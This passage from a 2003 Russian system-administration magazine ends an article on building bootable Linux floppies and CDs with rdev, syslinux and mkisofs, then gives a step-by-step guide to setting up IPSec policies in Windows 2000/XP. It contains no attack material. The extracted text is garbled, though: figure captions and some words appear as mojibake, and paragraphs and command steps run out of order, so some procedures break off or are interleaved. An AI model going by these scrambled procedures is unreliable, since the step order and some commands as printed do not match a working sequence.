и приступаем к записи дискеты, имея ядро и подготовленный образ... Существует несколько способов записи автономной дискеты, из них я расскажу о двух: использование загрузчика ядра (наиболее компактный метод) и использование загрузчика syslinux (загрузка с дискеты ms-dos). При использовании kernel-loader значительно усложняется процесс настройки параметров ядра и изменение чего-либо на дискете. Преимущества kernel-loader – компактность и отсутствие необходимости наличия файловой системы на дискете. Создание дискеты такого типа тоже не представляет особых проблем: для начала копируем ядро на дискету, начиная с 0-го сектора: # dd if=/usr/src/linux/arch/i386/boot/bzImage of=/dev/fd0 bs=1k 384+1 ïðî÷èòàíî áëîêîâ 384+1 çàïèñàíî áëîêîâ

Цифры означают, сколько блоков заняло ядро. Знак «+» значит, что ядро заняло 384 полных блока и 1 неполный. Root-fs может размещаться с 385 блока соответственно. Эту цифру надо запомнить, а еще лучше – записать, т.к. в дальнейшем она нам еще пригодится. На следующем этапе необходимо чуть-чуть поколдовать с настройками ram-диска:

администрирование # rdev /dev/fd0 /dev/fd0

Указываем, что ram-диск будет размещаться на том же устройстве, что и образ ядра (вообще команда rdev используется в случаях, когда ядро и корневая FS находятся на разных дисках). # rdev -R /dev/fd0

Указание того, что ram-диск должен использоваться в качестве корневой файловой системы (опция -R должна быть написана именно так: с большой буквой R). Далее мы должны указать маску ram-диска, чтобы ядро знало, где найти этот диск. Маска представляет собой 16ти разрядное значение, в котором 10 бит представляют собой начальный блок ram-диска, бит 14 означает, должен ли быть загружен ram-диск, а бит 15 говорит о необходимости вывода подсказки перед загрузкой initrd. Чтобы не утомлять читателей расчетами, просто скажу, что если initrd расположен на одной дискете с ядром, то это значение рассчитывается как block_of_kernel + 16384, а если initrd записан на другой дискете, то этот параметр имеет фиксированную величину – 49152 (установка в 1 14 и 15 битов), а сам ram-диск записывается на другую дискету, начиная также с 0-го сектора. Приведу пример для ситуации, когда ядро и ramdisk размещаются на одной дискете: # rdev -r /dev/fd0 `expr 16384 + 385`

если кто-то умеет складывать такие числа в уме (я не умею), то для него эта команда будет выглядеть так:

способом создания boot-дискеты все ясно, настало время рассказать и о другом: о создании msdos-дискеты c Linux. Для этой цели существует специальная утилита –syslinux (домашняя страница: http://syslinux.zytor.com/), которая позволяет обойти обычный процесс загрузки ms-dos, запуская ядро Linux. Настройка syslinux весьма похожа на настройку lilo: создается конфигурационный файл, описывающий образы, расположенные на диске. При этом доступно весьма большое количество параметров, но нас будут интересовать только те параметры, что отвечают за загрузку ядра, передачу ему (ядру) аргументов и загрузку initrd. Итак, опишу все стадии правильной подготовки ms-dos дискеты: форматируем дискету, не проверяя сбойные сектора: # fdformat -n /dev/fd0

проверяем сбойные сектора: # badblocks /dev/fd0 > /tmp/fd0.bad

создаем файловую систему (FAT12 в данном случае) с меткой “boot” и указываем обнаруженные сбойные сектора: # mkfs.msdos -l /tmp/fd0.bad -n boot /dev/fd0

далее записываем syslinux на дискету (появится файл ldlinux.sys): # syslinux /dev/fd0

копируем ядро и initrd:

# rdev -r /dev/fd0 16769

После того как ядро узнает, где расположен initrd, можно спокойно записывать наш компрессированный образ на дискету (в нашем примере образ записывается сразу же после ядра, ну а если initrd планируется разместить на другой дискете, то образ записывается с 0-го блока соответственно): # dd if=~/initrd.gz of=/dev/fd0 bs=1k seek=385

Подождем, пока запишется образ, и перезагрузимся с дискеты. Если все прошло нормально, то можете вздохнуть спокойно и гордиться тем, что вы создали свой собственный, пусть маленький, но настоящий дистрибутив Linux! Если же возникли ошибки, то придется повторять вышеописанные действия, пока эти ошибки не будут исправлены. Если вам необходимо поправить initrd, то учтите, что все изменения, которые вы проделываете в корневом разделе непосредственно при работе нашего floppy-дистрибутива, не сохраняются нигде, и при рестарте будут утрачены, так что единственным способом поправить что-либо является редактирование образа (естественно, для начала образ нужно разжать и примонтировать) с последующей записью его на дискету (новый образ можно писать прямо поверх старого, не меняя при этом параметров ramдиска, единственное условие: чтобы новый образ писался с того же блока, что и старый). Ну что ж, думаю, с этим

# mount /dev/fd0 /floppy # cp /usr/src/linux/arch/i386/boot/bzImage /floppy/vmlinuz # cp ~/initrd.gz /floppy/

после этого составляем примерно такой конфигурационный файл: # vi /floppy/syslinux.cfg syslinux.cfg: default linux prompt 1 label linux kernel vmlinuz append initrd=initrd.gz

Обратите внимание на структуру описания ядра: label ìåòêà kernel ôàéë_ÿäðà append îïöèè_ÿäðà

Здесь initrd передается в качестве аргумента для ядра. Примерно таким же образом можно использовать загрузчик lilo. Преимущество у syslinux перед lilo одно: конфигурационный файл syslinux можно править непосредственно в ms-dos (windows). Также можно создавать загрузочные дискеты Linux, находясь в ms-dos, т.к. существует syslinux, запускающийся под досом. Для более подробной информации о syslinux читайте документацию (man syslinux).

администрирование В общем случае выбор загрузчика будет определяться конкретными целями. Но учтите, что самый экономичный (хотя и менее гибкий) способ – использование kernel loader. Для некоторых целей объема и скорости дискеты явно недостаточно. В таких случаях идеально использовать загрузочные CD-диски. О том, как создавать такие диски, и пойдет дальше речь. Я буду предполагать, что ваш CD-Record привод работает правильно под Linux (если нет, то почитайте CDWriting-HOWTO: http://www.guug.de/~winni/linux/). Для создания bootable CD существует особое расширение формата iso9660. Новые версии mkisofs умеют работать с этим расширением, для очень старых версий необходим патч. Самый простой способ – записываем загрузочную дискету с загрузчиком, отличным от kernel loader (рекомендуется lilo), и с этой дискеты пишется образ: # cp /dev/fd0 /cd-iso/boot/boot.img

После этого создается isofs: # cd /cd-iso # mkisofs -r -b boot/boot.img -c boot/boot.catalog ↵ -o bootcd.iso ./

После этого при загрузке с CD-ROM загружается указанный опцией -b образ дискеты. Файл boot.catalog создается mkisofs автоматически, т.к. этот файл необходим по стандарту (как я понял, для создания multi-boot CD). На самом CD может оказаться удобным разместить файловую систему /usr, т.е. на дискете миниатюрный набор необходимых программ, а на самом компакте – основной дистрибутив (не забудьте включить поддержку файловой системы iso9660 в ядре). Для организации такого поведения скопируйте все необходимые файлы на CD, с которого будет осуществляться загрузка: /bin /sbin /lib /share /libexec /src /local /tmp Обратите внимание на отсутствие префикса /usr. При загрузке дискеты можно примонтировать CD вручную: # mount -t iso9660 -o ro,exec /dev/hd[b] /usr

№6(7), июнь 2003

Или сделать запись в /etc/fstab на дискете: /dev/hdb

is09660

ro,exec

0 0

В общем, ничего сложного в создании CD-дистрибутива нет. Все сводится к подготовке правильного загрузочного образа и формировании необходимых программ, размещающихся непосредственно на CD. Запись загрузочного образа ничем не примечательна: # cdrecord -v speed=8 dev=0,0,0 /cd-iso/bootcd.iso

Единственную трудность представляет, пожалуй, создание мульти-загрузочного диска. Я решил не описывать этот процесс в данной статье, т.к. сам недавно увидел статью «Изготовление мульти-загрузочного CD-диска» в русской Linux Gazette. Статья написана очень грамотно и поможет решить любые вопросы. Поэтому в этой статье я не буду цитировать чужую публикацию, а просто дам ссылку на вышеупомянутую статью: http://gazette.linux.ru.net/. Итак, на этом я завершаю своё небольшое руководство и привожу список полезных ссылок и полезных документов: 1. http://www.tldp.org – здесь могут быть найдены Linux Boot Disk HOWTO, CD-Writing-HOWTO. 2. http://syslinux.zytor.com/ – сайт syslinux. 3. http://www.linuxlots.com/~fawcett/yard/index.html – набор утилит для восстановления системы. Список ресурсов, где могут быть найдены образы загрузочных дискет и дисков различного назначения: 1. http://www.linuxlinks.com – огромный архив ссылок на проекты различных мини- и микро-дистрибутивов (очень полезно посмотреть!) 2. http://www.toms.net/rb/ – Tomsrtbt мини-дистрибутив, содержащий утилиты по восстановлению данных. 3. http://www.liap.eu.org/ – LIAP, «Linux в пилюлях» – сайт содержит множество образов 1.44MB’ых дискет с различными утилитами и разными версиями ядра для борьбы со всякого рода неприятностями. 4. http://www.ibiblio.org/pub/Linux/system/recovery/ – огромный архив всякого рода утилит и загрузочных образов для восстановления.

администрирование

ИСПОЛЬЗОВАНИЕ IPSec В WINDOWS 200x

МАКСИМ КОСТЫШИН 52

администрирование После внедрения программных продуктов, предполагающих элементы сетевого взаимодействия, часто приходится сталкиваться с тем, что разработчики не уделили должного внимания вопросам обеспечения конфиденциальной передачи данных по физическим линиям, которые образуют канал связи между взаимодействующими компьютерами. Общим решением такого рода проблем может являть создание VPN-соединений на основе имеющихся международных стандартов. Указанная возможность реализована в операционной системе Windows200x/XP. Информация, изложенная в данной статье, предназначена для тех, кого интересуют вопросы реализации защиты информации с использованием VPN-каналов на основе IPSec-протокола. Протокол IPSec и его составляющие закреплены в группе рекомендаций RFC (Request for Comments) 2401 – 2412, опубликованных в ноябре 1998 года. Описание конкретных решений позволит от рассмотрения теоретических аспектов виртуальных приватных сетей перейти к практическим моментам их использования. Пользователи операционной системы Windows 200x/XP, следуя подробным инструкциям, приведенным в статье, смогут реализовать защищенную связь между компьютерами. Справедливости ради следует отметить, что подобные решения имеются и могут быть использованы на других платформах, между различными операционными системами. Для компьютеров, на которых невозможно установить ОС Windows200x/XP, можно применять средство PGPnet Virtual Private Networking. В качестве примера взаимодействия реализации стандарта IPSec на различных операционных системах может быть предложен вариант использования IPSec-протокола между Windows 2000 и операционной системой семейства Unix FreeBSD (см. статью Станислава Лапшанского «IPSec-соединение между FreeBSD и Windows 2000» – http://www.opennet.ru/base/ net/bsd_win_vpn.txt.html). В недавно представленной Microsoft для широкой публики Windows 2003, подходы по организации защищенного соединения на основе IPSec не претерпели (по крайней мере, видимых) существенных изменений и абсолютно совместимы с Windows 2000.

В изложенном материале для большей наглядности приводятся иллюстрации для русской версии Windows 2000 Professional, однако названия пунктов меню, окон и др. элементов интерфейса приводятся как для русского, так и для англоязычного интерфейса. До начала рассмотрения практических вопросов отметим, что для операционной системы Microsoft Windows 2000 рекомендуется обеспечение поддержки 128-битного шифрования данных. Для этого должны быть установлены либо Service Pack 2 для Windows 2000, либо High Encryption Pack. Service Pack 2 можно загрузить с сервера Microsoft: ht tp://www.microsof t.com/windows2000/downloads/ servicepacks/sp2/default.asp. High Encryption Pack можно загрузить с сервера Microsoft: ht tp://www.microsof t.com/windows2000/downloads/ recommended/encryption/. Обращаем внимание на то, что для возможности внесения изменений в настройки Windows, описанные ниже, пользователь должен иметь права администратора.

Подход, предлагаемый Microsoft для использования межкомпьютерных соединений по протоколу IPSec в домене После стандартной инсталляции Windows 200x/XP в операционной системе предлагаются три варианта настройки для организации защищенного IP-канала – политики безопасности IPSec (смотри рис. 1) в рамках одного домена: Сервер (Server) – для всего трафика IP всегда запрашивает безопасность с помощью доверия Kerberos. Разрешает небезопасную связь с клиентами, которые не отвечают на запрос; Безопасность сервера (Secure Server) – для всего IP-трафика всегда запрашивает безопасность с помощью доверия Kerberos. Не разрешает небезопасную связь с недоверенными клиентами; Клиент (Client) – обычная связь (небезопасная). Использует правило ответа по умолчанию для согласования с серверами, запрашивающими безопасность. Только запрошенный протокол и трафик с этим сервером будут безопасными.

Ðèñóíîê 1. Îñíàñòêà «Óïðàâëåíèå ïîëèòèêîé áåçîïàñíîñòè IP», èñïîëüçóåìàÿ äëÿ íàñòðîéêè â Windows IP-áåçîïàñíîñòè (IPSec).

№6(7), июнь 2003

администрирование После установки операционной системы ни одна из политик не назначена. Пользователь может активизировать (назначить) одну и только одну из существующих политик. Ниже, в качестве справочной информации, приводятся настройки, которые используются Microsoft в операционной системе Windows 200x/XP для трех стандартных вариантов политики безопасности IPSec. Подробные пояснения можно найти далее в описаниях настроек при создании новой политики безопасности. При изучении вопросов, связанных с установлением защищенного соединения IPSес, обратим внимание, что индивидуальные рекомендации необходимы для случая, если компьютер, который необходимо задействовать в схеме защищенного соединения, имеет несколько IP-адресов. Кроме того, для случая работы в домене локальная политика безопасности компьютера может перекрываться политикой безопасности, определяемой контроллером домена.

Назначение и отключение IPSec-соединения с использованием стандартных настроек Windows Для организации аутентифицированного и закрытого обмена данными между двумя компьютерами по протоколу IPSec необходимо активизировать на одной стороне политику Безопасность сервера (Secure Server), на другой – Клиент (Client) в разделе Политики безопасности IP на «Локальный компьютер» (IP Security Policies on Local Machine). Это можно сделать, выбрав пункт локального меню (вызываемого по правой кнопке «мыши») Назначить (Assign), предварительно выбрав строку с нужной политикой. Приложение Локальные параметры безопасности (Local Security Settings) можно активизировать, выбрав одноименный подпункт меню Пуск → Настройка → Панель управления → Администрирование (Start → Setting → Control Panel → Administrative Tools). Обратите внимание на то, что стандартные политики предназначены для использования в рамках одного домена. В противном случае защищенное соединение не будет установлено. Отметим, что связывающиеся стороны должны быть

уверены, что настройки используемых политик остались неизменными с момента установки операционной системы. Вместе с тем теоретически существует ненулевая вероятность, что после выполнения согласования поддерживаемых криптографических алгоритмов и ключевых данных, соединение будет организовано только с использованием протокола аутентификации (Authentication Header – АН), которое предполагает активизацию механизмов только авторства и целостности передаваемых пакетов, в то время как само содержимое пакетов будет передаваться по сети в открытом виде. Это создает предпосылки к тому, что все данные, которыми обмениваются компьютеры, организовавшие «защищенный» канал, будут перехвачены. Чтобы удалить назначение политики IPSec, щелкните на активной политике правой кнопкой «мыши» и выберите команду Снять (Un-assign). Кроме того, можно отключить на компьютере службу Агент политики IPSEC (IPSEC Policy Agent). Это позволит обеспечить гарантированное отключение использования политики безопасности IPSec, которая может управляться на уровне контроллера домена.

Тестирование установления IPSec-соединения Для проверки правильности настроек политики безопасности, активизируйте установку защищенного соединения, выполнив следующие шаги на одном из тестируемых компьютеров: Вызовите командную строку, выполнив запуск программы cmd.exe, выбрав меню Пуск → Выполнить… (Start → Run...) или выбрав подпункт Командная строка (Command Promt) меню Пуск → Программы → Стандартные (Start → Program → Accessories). Запустите команду ping с IP-адресом другого тестируемого компьютера. Установка защищенного соединения требует времени, поэтому при первой попытке отзыв от сервера не будет получен. Повторите команду ping. На рис. 2 показан протокол работы двух последовательных вызовов команды ping.

Òàáëèöà 1. Íàñòðîéêè ñòàíäàðòíûõ ïîëèòèê áåçîïàñíîñòè IP â ÎÑ Windows 200x/XP.

администрирование Включение аудита при выполнении политики безопасности IP

Ðèñóíîê 2. Âûïîëíåíèå êîìàíäû ping ïðè ñîãëàñîâàíèè ïîëèòèêè áåçîïàñíîñòè.

Мониторинг IPSec-соединения В состав Windows 2003 стандартное средство IPSecMon не входит, потому все изложенное ниже в данном пункте может быть применено только для Windows 2000/XP. Для опытных пользователей для варианта Windows 200x Server для использования может быть предложена стандартная Windows-компонента «Средства сетевого монитора», позволяющая просмотреть все нюансы установки защищенного соединения на уровне данных IP-пакетов, а также 100% удостовериться, что в закрытости содержимого IP-пакета после установки защищенного соединения. В данной статье описание работы с сетевым монитором в разрезе применения IPSec-протокола не приводится. Для выполнения контроля защищенного обмена можно использовать утилиту Монитор IP-безопасности (IP Security Monitor), активизируемую при вызове приложения IPSecMon.exe. Эта утилита показывает наличие и, самое главное, параметры установленных с использованием протокола IPSec защищенных IP-каналов (см. рис.3). С помощью кнопки <Параметры...> (Options...) уменьшите время обновления с 15 до 1 секунды, чтобы получать в каждый момент актуальную информацию о состоянии IPSec-соединения.

Ðèñóíîê 3. Âèä ãëàâíîãî îêíà ïðîãðàììû «Ìîíèòîð IP-áåçîïàñíîñòè».

№6(7), июнь 2003

Настойчиво рекомендуем включить протоколирование регистрации пользователей (включения аудита входа в систему для локального компьютера). Для этого необходимо активизировать приложение Локальная политика безопасности (Local Security Setting) в разделе Администрирование (Aministrative Tools) и выберите в дереве ветку Локальные политики (Local Policies) → Политика аудита (Audit Policy). Выделите пункт События регистрации аудита (Audit Logon Events). В открывшемся окне (см. рис.4) выберите в разделе Настройка локальной политики (Local Policy Setting) пункты Успех (Success) и Неудача (Failure).

Ðèñóíîê 4. Âêëþ÷åíèå àóäèòà äëÿ ñîáûòèé ðåãèñòðàöèè ïîëüçîâàòåëåé â ñèñòåìå.

Настройки новой политики безопасности IP Для настройки новой политики ниже будет подробно описана последовательность действий, определяемая следующими шагами: Создание новой политики безопасности IP; Определение нового правила: Списка IP-фильтров (назначение используемых сетевых протоколов и адресов взаимодействующих хостов); Действия фильтра (выбор используемых криптографических алгоритмов); Методов проверки подлинности (назначение способа установления доверительных отношений между компьютерами); Типа подключения (удаленный доступ, локальная сеть); Параметров туннеля (использовать или нет туннельный вариант протокола IPSec).

администрирование

Ðèñóíîê 5. Îáùèé âèä ïðèëîæåíèÿ, îïðåäåëÿþùåãî ëîêàëüíûå ïàðàìåòðû áåçîïàñíîñòè.

В предлагаемом варианте не используется метод проверки подлинности Kerberos, установление защищенного обмена осуществляется на основе прописываемой в установках обоих компьютеров одной и той же «секретной» строки. В связи с этим указанная схема защищенного соединения будет работоспособна при работе как в доменной системе, так и в сети без домена. Активизируйте приложение Локальные параметры безопасности (Local Security Setting), выбрав подпункт Локальная политика безопасности (Local Security Policy) меню Пуск → Настройка → Панель управления → Администрирование (Start → Setting → Control Panel → Administrative Tools).

пасности IP (Create IP Security Policy). При этом открывается окно Мастер политики IP-безопасности (IP Security Policy Wizard). Щелкните <Далее> (Next) для перехода к следующему окну диалога (см. рис.6).

Ðèñóíîê 7. Îïðåäåëåíèå íàçâàíèÿ ïîëèòèêè áåçîïàñíîñòè.

Ðèñóíîê 6. Íà÷àëüíîå îêíî ìàñòåðà ïîëèòèêè IP-áåçîïàñíîñòè.

Создание новой политики В левой части окна Локальные параметры безопасности (Local Security Setting) выберите пункт Политики безопасности IP на “Локальный компьютер” (IP Security Policies in Local Machine) и создайте новую политику либо «кликнув» на значке меню , либо выбрав пункт контекстного меню (вызываемого при нажатии правой кнопки «мыши» в правой части окна) Создать политику безо-

Ðèñóíîê 8. Îêíî îïðåäåëåíèÿ àêòèâèçàöèè ïîëèòèêè ïîñëå çàäàíèÿ ïàðàìåòðîâ.

администрирование Введите любое имя новой политики (см. рис.7) и, если это необходимо, ее описание. Щелкните <Далее> (Next) для перехода к следующему окну диалога. Отмените установку флажка Использовать правило по умолчанию (Activate the default response rule) (см. рис.8), в результате чего для данной политики можно будет определить пользовательское правило. Щелкните <Далее> (Next) для перехода к следующему окну диалога. Удостоверьтесь, что флажок Изменить свойства (Edit properties) установлен, и щелкните <Готово> (Finish) (см. рис.9).

Ðèñóíîê 9. Îêíî çàâåðøåíèÿ íàçíà÷åíèÿ íîâîé ïîëèòèêè IP-áåçîïàñíîñòè.

При этом создание новой политики заканчивается и открывается окно Свойства (Rules) (см. рис.10).

При этом открывается окно Свойства: Новое правило (New Rule Properties) (см. рис.11).

Ðèñóíîê 11. Îêíî ñîçäàíèÿ íîâîãî ïðàâèëà.

Создание нового правила Создание нового фильтра На закладке Список фильтров IP (IP Filter List) щелкните <Добавить> (Add), при этом открывается окно Список фильтров IP (IP Filter List). Введите любое имя фильтра и, если это необходимо, его описание (см. рис.12). Отмените флажок Использовать мастер (Use Add Wizard) и щелкните <Добавить> (Add). При этом открывается окно Свойства: Фильтр (Filter Properies).

Ðèñóíîê 10. Îêíî ïðàâèë äëÿ âíîâü ñîçäàííîé ïîëèòèêè.

Редактирование свойств политики безопасности IP Отмените установку флажка Использовать мастер (Use Add Wisard) (см. рис.10) и щелкните <Добавить> (Add).

№6(7), июнь 2003

Ðèñóíîê 12. Îïðåäåëåíèå íàçâàíèÿ ôèëüòðà IP.

администрирование Выберите закладку Адресация (Addressing) (см. рис.13) и установите следующие параметры: Адрес источника пакетов (Source address) → Определенный IP-адрес (A specific IP Address); IP-адрес → IP-адрес вашего компьютера; Адрес назначения пакетов (Destination address) → Определенный IP-адрес (A specific IP Address); IP-адрес → адрес компьютера, с которым устанавливается защищенное соединение; Проверить установку флажка Отраженный (Mirrored).

Выберите закладку Протокол (Protocol) и установите Тип протокола (Select a protocol type) – Любой (Any) (см. рис.14). Заполнение поля Описание (Description) в закладке Описание (Description) не обязательно. Закончите описание свойств фильтра, щелкнув <OK> в окне Свойства: Фильтр (Filter Properties). Щелкните <Закрыть> (OK) в окне Список фильтров IP (IP Filter List). На закладке Список фильтров IP (IP Filter List) в окне Свойства: Новое правило (New Rule Properties) поставьте точку в строке, отображающей только что созданный новый фильтр.

Создание нового действия Выберите закладку Действие фильтра (Filter Action) в окне Свойства: Новое правило (New Rule Properties).

Ðèñóíîê 13. Íàçíà÷åíèå àäðåñîâ è èñòî÷íèêà IP-ïàêåòîâ äëÿ ôèëüòðà.

Ðèñóíîê 15. Çàêëàäêà óïðàâëåíèÿ ìåòîäàìè áåçîïàñíîñòè.

Ðèñóíîê 14. Âûáîð òèïà ïðîòîêîëà, êîòîðûé äîëæåí îáðàáàòûâàòüñÿ ôèëüòðîì.

Отмените установку флажка Использовать мастер (Use Add Wizard) и щелкните <Добавить> (Add). При этом открывается окно Свойства: Создание действия фильтра (New Filter Action Properties). На закладке Методы безопасности (Security Methods) (см. рис.16) выберите пункт Согласовать безопасность (Negotiate security) и щелкните <Добавить> (Add), при этом открывается окно Создать метод безопасности (New Security Method) (см. рис.17). Выберите пункт Настраиваемая безопасность (Custom) и щелкните <Параметры...> (Settings...). При этом открывается окно Параметры особого метода безопасности (Custom Security Settings), в котором необходимо установить значения, как показано на риc. 18. Щелкните <OK> в этом окне и окне Создать метод безопасности (New Security Method).

администрирование поставьте точку в строке, отображающей только что созданное новое действие фильтра.

Ðèñóíîê 16. Îïðåäåëåíèå ìåòîäîâ áåçîïàñíîñòè, èñïîëüçóåìûõ äëÿ ôèëüòðà.

Ðèñóíîê 18. Îïðåäåëåíèå êðèïòîãðàôè÷åñêèõ íàñòðîåê IPSec-ïðîòîêîëà.

Установка параметров туннеля и типа подключения Выберите закладку Параметры туннеля (Tunnel Setting) в окне Свойства: Новое правило (New Rule Properties) и cохраните заданную по умолчанию настройку Правило не определяет туннель (This rule does not specify a tunnel) (см. рис.19).

Ðèñóíîê 17. Ñîçäàíèå ìåòîäà áåçîïàñíîñòè.

В окне Свойства: Создание действия фильтра (см. рис.16) убедитесь в том, что флажок установлен только на пункте Принимать небезопасную связь, но отвечать с помощью IPSec (Accept unsecured communication, but always respond using IPSec). На закладке Общие (General) заполните имя и, если это необходимо, описание. Щелкните <OK>. На закладке Действие фильтра (Filter Action) в окне Свойства: Новое правило (New Rule Properties) (см. рис.15)

№6(7), июнь 2003

Ðèñóíîê 19. Âûáîð èñïîëüçîâàíèÿ òóííåëèðîâàíèÿ ïðè ñîåäèíåíèè.

Выберите закладку Тип подключения (Connection Type) в окне Свойства: Новое правило (New Rule Properties)

администрирование (рис. 20). Вы можете выбрать пункт Все сетевые подключения (All network connections), но лучше, если вы уверены, выберите конкретный тип: либо Локальное сетевое подключение (Local area network (LAN)), либо Удаленный доступ (Remote access).

Ðèñóíîê 20. Îïðåäåëåíèå òèïà ïîäêëþ÷åíèÿ äëÿ ïðàâèëà.

Ðèñóíîê 21. Îïðåäåëåíèå ìåòîäîâ ïðîâåðêè ïîäëèííîñòè.

Установка метода проверки подлинности Выберите закладку Методы проверки подлинности (Authentication Methods) в окне Свойства: Новое правило (New Rule Properties) (см. рис. 21). По умолчанию Kerberos устанавливается в качестве метода проверки подлинности. Щелкните <Добавить> (Add), при этом откроется окно Свойства: Изменить способ проверки подлинности (New Authentication Method Properties) (см. рис. 22).

Ðèñóíîê 22. Çàäàíèå ìåòîäîâ ïðîâåðêè ïîäëèííîñòè äëÿ ôèëüòðà.

Выберите пункт Использовать данную строку для защиты обмена ключами (Use this string to protect the key exchange (preshared key)) и внесите в окно пароль, который будет использоваться для установления защищенной связи между компьютерами. Щелкните <OK>. Удалите из списка методов все, кроме созданного вами. Щелкните в окне Свойства: Новое правило (New Rule Properties) <ОК>. На этом создание нового правила закончено. Приведем некоторые пояснения для возможных методов установления доверительных отношений: Стандарт Windows 2000 Kerberos V5 (Windows 2000 default (Kerberos V5)) – протокол Kerberos задан по умолчанию в Windows 2000, и если все участники находятся в одном домене, это будет лучшим вариантом, поскольку облегчает конфигурирование. Использовать сертификат данного Центра сертификации (Use a certificate from this Certificate Authority (CA)) – безопасность, основанная на применении сертификатов. Можно использовать сертификаты для инициализации защищенного соединения. Они совместимы со многими системами сертификации. Использовать данную строку для защиты обмена ключами (Use this string to protect the key exchange (preshared key)) – использование предварительно совместно используемых строк является наиболее нежелатель-

администрирование ным методом обеспечения безопасности, если строка будет сфальсифицирована, невозможно гарантировать конфиденциальность. Однако подобный метод можно использовать в том случае, если поддерживаются внешние операционные системы или устройства.

Редактирование общих настроек политики безопасности IP

При этом откроется окно Методы безопасности при обмене ключами (Key Exchange Security Methods), в котором нужно удалить все строки (см. рис. 25), кроме одной с параметрами: Тип (Type) – IKE; Шифрование (Encryption) – 3DES; Целостность (Integrity) – SHA1; Группа Диффи-Хелмана (Diffie-Hellman ...) – Средняя (2).

Выберите закладку Общие (General) в окне Свойства (New IP Security Policy Properties) (рис. 23).

Ðèñóíîê 25. Îêíî óïðàâëåíèÿ ìåòîäàìè áåçîïàñíîñòè ïðè îáìåíå êëþ÷àìè.

Заключение Ðèñóíîê 23. Îêíî îáùèõ ñâîéñòâ ïîëèòèêè áåçîïàñíîñòè IP.

Поля Имя (Name) и Описание (Description) уже заполнены на этапе создания политики безопасности. Убедитесь, что в поле Проверять политику на наличие изменений каждые: (Check for policy change every:) записано значение 180 мин. и щелкните кнопку <Дополнительно...> (Advanced...). При этом открывается окно Параметры обмена ключами (Key Exchange Settings). Установите параметры, как показано на рисунке ниже (см. рис. 24), и щелкните <Методы…> (Methods...).

Ðèñóíîê 24. Îêíî ïàðàìåòðîâ îáìåíà êëþ÷àìè.

№6(7), июнь 2003

В статье описаны основополагающие моменты, связанные с настройкой IPSec-соединения между двумя компьютерами на базе операционных систем Windows 2000, 2003. Дальнейшими путями расширения реализации IPSec могут быть: Использование возможностей работы с IPSec под управлением домена. Развертывание инфраструктуры открытых ключей (public key infrastructure – PKI). Эти действия повлекут изменения в методах проверки подлинности и повысят уровень безопасности при установлении сеансов защищенных соединений. Отметим, что IPSec предполагает два варианта сетевого соединения: транспортный и туннельный. При транспортном – заголовок IP-пакета (в том числе и IP-адрес) не изменяются. Заголовок IPSec вставляется между заголовком IP и остальными заголовками или, соответственно, данными. При таком способе передачи изменения затрагивают только транспортный уровень пакета IP, а собственно данные пакета смогут быть аутентифицированы и/или зашифрованы. При туннельном варианте изменяется весь пакет IP. Защита распространяется на заголовок IP и данные, причем вместо исходного создается новый заголовок IP с другими IP-адресами. В данной статье описывается наиболее простой – транспортный вариант использования IPSec.

администрирование Для случая, если защищенный трафик должен проходить через сервер NAT (Network Address Translation), который производит замену IP-адресации, то необходимо отказаться от использования протокола AH и задействовать только протокол ESP. Дальнейшим усилением VPN может быть использование Layer Two Tunneling Protocol (L2TP) – протокола туннелирования второго уровня. В данном случае настройки предполагаются более сложные по схеме защищенной связи: êëèåíò<->ñåðâåð <-> ñåðâåð<->êëèåíò

При установлении сеанса L2TP происходят следующие действия: Если клиент связывается с туннельным сервером VPN, используя тип подключения, определенный как L2TP, клиент автоматически создает политику IPSec, если она еще не установлена для данного клиента. Если политика IPSec уже создана, протокол L2TP просто внедряет правило безопасности, которое защищает весь трафик. При этом используются настройки безопасности, которые определены с помощью имеющейся политики. Если для системы не установлены политики IPSec, протокол L2TP создает собственное правило безопасности IPSec. В этом случае IPSec фильтрует трафик и приводит к установке соглашения по обмену ключей. Устанавливается туннельное соглашение L2TP, вследствие чего IPSec защищает трафик туннельного контроля, а также данные, передаваемые с помощью этого туннеля. С помощью идентификатора и пароля пользователя протокол L2TP производит аутентификацию сервера VPN. При использовании смарт-карты производится аутентификация на основе сертификата. В печати недавно появилась информация о том, что в США под эгидой АНБ ведутся работы по развитию протокола IPSec High-Assurance Internet Protocol Encryption (HAIPE). HAIPE позволяет выполнять обмен ключами между системами, применяющими разные алгоритмы шифрования. Как отмечают специалисты, цель разработки HAIPE – обеспечение возможности обмена алгоритмами шифрования между различными программными и аппаратными криптосистемами.

Глоссарий Криптография – область защиты информации, в которой рассматриваются вопросы создания алгоритмов шифрования, электронной цифровой подписи, хэширования, выработки имито-вставки и т. п. с целью обеспечения гарантий секретности и/или достоверности сообщений. Функция хэширования – действие функции хэширования заключается в сопоставлении произвольного набора данных в виде последовательности двоичных символов и его образа фиксированной небольшой длины, что позволяет использовать эту функцию в процедурах электронной цифровой подписи для сокращения времени подписи и проверки подписи. Эффект сокращения времени достигается за счет вычисления подписи только под образцом подписываемого набора данных.

Pretty Good Privacy (PGP) – дословный перевод «Довольно хорошая секретность». Пакет программ, первоначально разработанный Филлипом Циммерманом (Phillip Zimmerman), представляющий собой систему шифрования с открытым ключом. Ее последняя версия основана на запатентованной технологии RSA. Virtual Private Network (VPN) – виртуальная частная сеть представляет собой туннель поверх общедоступной сетевой инфраструктуры, такой как Интернет. VPN – защищенное сетевое соединение, при котором туннелируется зашифрованный сетевой трафик. Kerberos – протокол безопасной аутентификации промышленного стандарта, подходящий для распределённых вычислений через общедоступные сети. Описан в RFC1510 (1993 год). Протокол аутентификации реализован в Windows 2000. У Kerberos несколько преимуществ, наиболее важное из которых, вероятно, возможность перепоручать аутентификацию другим компьютерам, также поддерживающим Kerberos, даже тем, которые работают под управлением других операционных систем. Это облегчает наращивание веб-сайта с использованием разных машин веб-серверов и серверов базы данных. Предыдущие решения, такие как реализация всех служб на одной машине, выполнение всех клиентских запросов в едином контексте защиты или жесткое программирование передачи функций защиты в файлах скриптов, не способствовали усилению архитектуры защиты. IPSec – протокол безопасности, предоставляющий возможность для организации защищенного соединения (VPN). Описан RFC2401 (1998 год). Представляет собой набор связанных протоколов. IPSec образован тремя основными компонентами: Протокол обмена ключами Интернет (Internet Key Exchange, IKE); Заголовок аутентификации (Authentication Header, AH); Безопасное вложение IP-пакетов (Encapsulating Security Payload, ESP). Encapsulating Security Payload (ESP) – протокол инкапсулированной защиты IP. Вместе с протоколом AH являются криптографической основой протокола IPSec. Протокол ESP предназначен для проверки аутентичности и целостности пакетов, обеспечения конфиденциальности данных с помощью выполнения процедур шифрования. Описан в RFC2406 (1998 год). Authentication Header (АН) – протокол заголовка аутентификации IP. Вместе с 